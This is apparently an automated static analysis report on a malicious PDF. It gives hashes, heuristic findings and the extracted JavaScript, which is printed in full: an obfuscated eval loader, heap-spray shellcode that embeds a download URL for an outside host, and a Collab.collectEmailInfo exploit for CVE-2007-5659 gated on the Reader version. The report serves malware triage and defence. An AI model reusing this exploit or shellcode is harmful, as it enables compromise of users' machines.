Malicious PDF — malware analysis report

Static analysis result for SHA-256 ee9389e52cd4e1d0…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 4c575371bfa0aff4ef020d9eb38a5ddb SHA-1: 0fc9b66974e4c5faa76cdf0c35b642bc8eecac3b SHA-256: ee9389e52cd4e1d07d9b7e89c666aa59f45ffb32b1ba908dfb483d6df8012424
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), which is commonly employed to deobfuscate and execute malicious code. The presence of obfuscated script indicators further supports this. The script itself, javascript_obj0013_001.js, is likely responsible for the malicious behavior, potentially downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function nKDxX6bY(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function bPv8WTWZXPaq(opdgAZK3AVls){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(opdgAZK3AVls)"+";"+"}");eval("function IqifBZ(hGqQZ){var GKvesbAihGlzuc="+"0,kq9DgucVCrFDuH=hGqQZ.l"+"en"+"gth,jMyIC=10"+"2"+"4,fNF8OWyo6blvky,Ab8qSM5NelT,OlCQjagryCpn='',jZDBYop0v=GKvesbAihGlzuc,iIkzxVTxFFA=GKvesbAihGlzuc,skLpjYfWp763He=GKvesbAihGlzuc,cnnoP7=Ar" …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl2/load.php?id=155&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x366 6402 bytes
SHA-256: 01d0709e6ed543632db6b65c9a1e1609b447e0861d2fdc33261721e9060de339
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 129 of 240 identifiers look randomly generated (e.g. 'fz3tfzOrM7496Uh9TUKZnxZZY2Or1O4ik14BtOt'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function nKDxX6bY(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function bPv8WTWZXPaq(opdgAZK3AVls){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(opdgAZK3AVls)"+";"+"}");eval("function IqifBZ(hGqQZ){var GKvesbAihGlzuc="+"0,kq9DgucVCrFDuH=hGqQZ.l"+"en"+"gth,jMyIC=10"+"2"+"4,fNF8OWyo6blvky,Ab8qSM5NelT,OlCQjagryCpn='',jZDBYop0v=GKvesbAihGlzuc,iIkzxVTxFFA=GKvesbAihGlzuc,skLpjYfWp763He=GKvesbAihGlzuc,cnnoP7=Ar"+"ra"+"y(63,1,9,39,59,34,49,4,35,25,0,0,0,0,0,0,18,30,12,13,37,19,8,46,36,56,43,60,51,0,29,3,47,33,17,6,55,26,15,42,32,38,45,0,0,0,0,44,0,10,23,41,50,20,48,24,54,28,61,2,7,31,22,5,57,58,52,21,16,62,53,40,27,11,14);f"+"o"+"r(Ab8qSM5NelT=M"+"at"+"h.c"+"ei"+"l(kq9DgucVCrFDuH/"+"jMyIC)"+";Ab8qSM5NelT>GKvesbAihGlzuc;Ab8qSM5NelT-"+"-){fo"+"r(fNF8OWyo6blvky=Ma"+"th.m"+"in(kq9DgucVCrFDuH,jMyIC);fNF8OWyo6blvky>GKvesbAihGlzuc;fNF8OWyo6blvky-"+"-,kq9DgucVCrFDuH-"+"-){skLpjYfWp763He|"+"=(cnnoP7[hGqQZ.cha"+"rCod"+"eAt(jZDBYop0v+"+"+)-48])<"+"<iIkzxVTxFFA;if(iIkzxVTxFFA){OlCQjagryCpn+"+"=bPv8WTWZXPaq"+"(75^skLpjYfWp763He&"+"2"+"5"+"5);skLpjYfWp763He>"+">="+"8;iIkzxVTxFFA-"+"="+"2;}el"+"se{iIkzxVTxFFA="+"6"+";}}"+"}return (OlCQjagryCpn);}var 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generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x366 2599 bytes
SHA-256: 6244704fc8c00879b5c3df3e141f361f03a5abaaf0aa00c9a3f2f28537891d5c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Jq156gCnz = new Array(); function e7kh0a(ybeEuyY8w7DXf, vVz1afDOeOXl9F) { while (ybeEuyY8w7DXf.length*2<vVz1afDOeOXl9F){ybeEuyY8w7DXf += ybeEuyY8w7DXf;} ybeEuyY8w7DXf = ybeEuyY8w7DXf.substring(0,vVz1afDOeOXl9F/2); return ybeEuyY8w7DXf; } function epiKUxESVMOc() { var gHYsnXtOD7nsVL = 0x0c0c0c0c; var lbXNQGiuDxN = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F32%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3531%u2635%u7073%u3D6C%u0034"); var gTpDa = 0x400000; var d7xik = lbXNQGiuDxN.length * 2; var vVz1afDOeOXl9F = gTpDa - (d7xik+0x38); var ybeEuyY8w7DXf = unescape("%u9090%u9090"); ybeEuyY8w7DXf = e7kh0a(ybeEuyY8w7DXf, vVz1afDOeOXl9F); var p9zWquj = (gHYsnXtOD7nsVL - 0x400000)/gTpDa; for (var WlLthdSa=0;WlLthdSa<p9zWquj;WlLthdSa++) { Jq156gCnz[WlLthdSa] = ybeEuyY8w7DXf + lbXNQGiuDxN; } } function WS84n2l() { var oLrTpghPJ = app.viewerVersion.toString(); oLrTpghPJ = oLrTpghPJ.replace(/\D/g,""); var mHVGplOpHF = new Array(oLrTpghPJ.charAt(0),oLrTpghPJ.charAt(1),oLrTpghPJ.charAt(2)); if ((mHVGplOpHF[0] == 8 && ((mHVGplOpHF[1] == 1 && mHVGplOpHF[2] < 2) || mHVGplOpHF[1] < 1)) || (mHVGplOpHF[0] == 7 && mHVGplOpHF[1] < 1) || (mHVGplOpHF[0] < 7)) { epiKUxESVMOc(); var E42TA = unescape("%u0c0c%u0c0c"); while(E42TA.length < 44952) E42TA += E42TA; this.collabStore = Collab.collectEmailInfo({subj: "",msg: E42TA}); } } WS84n2l();

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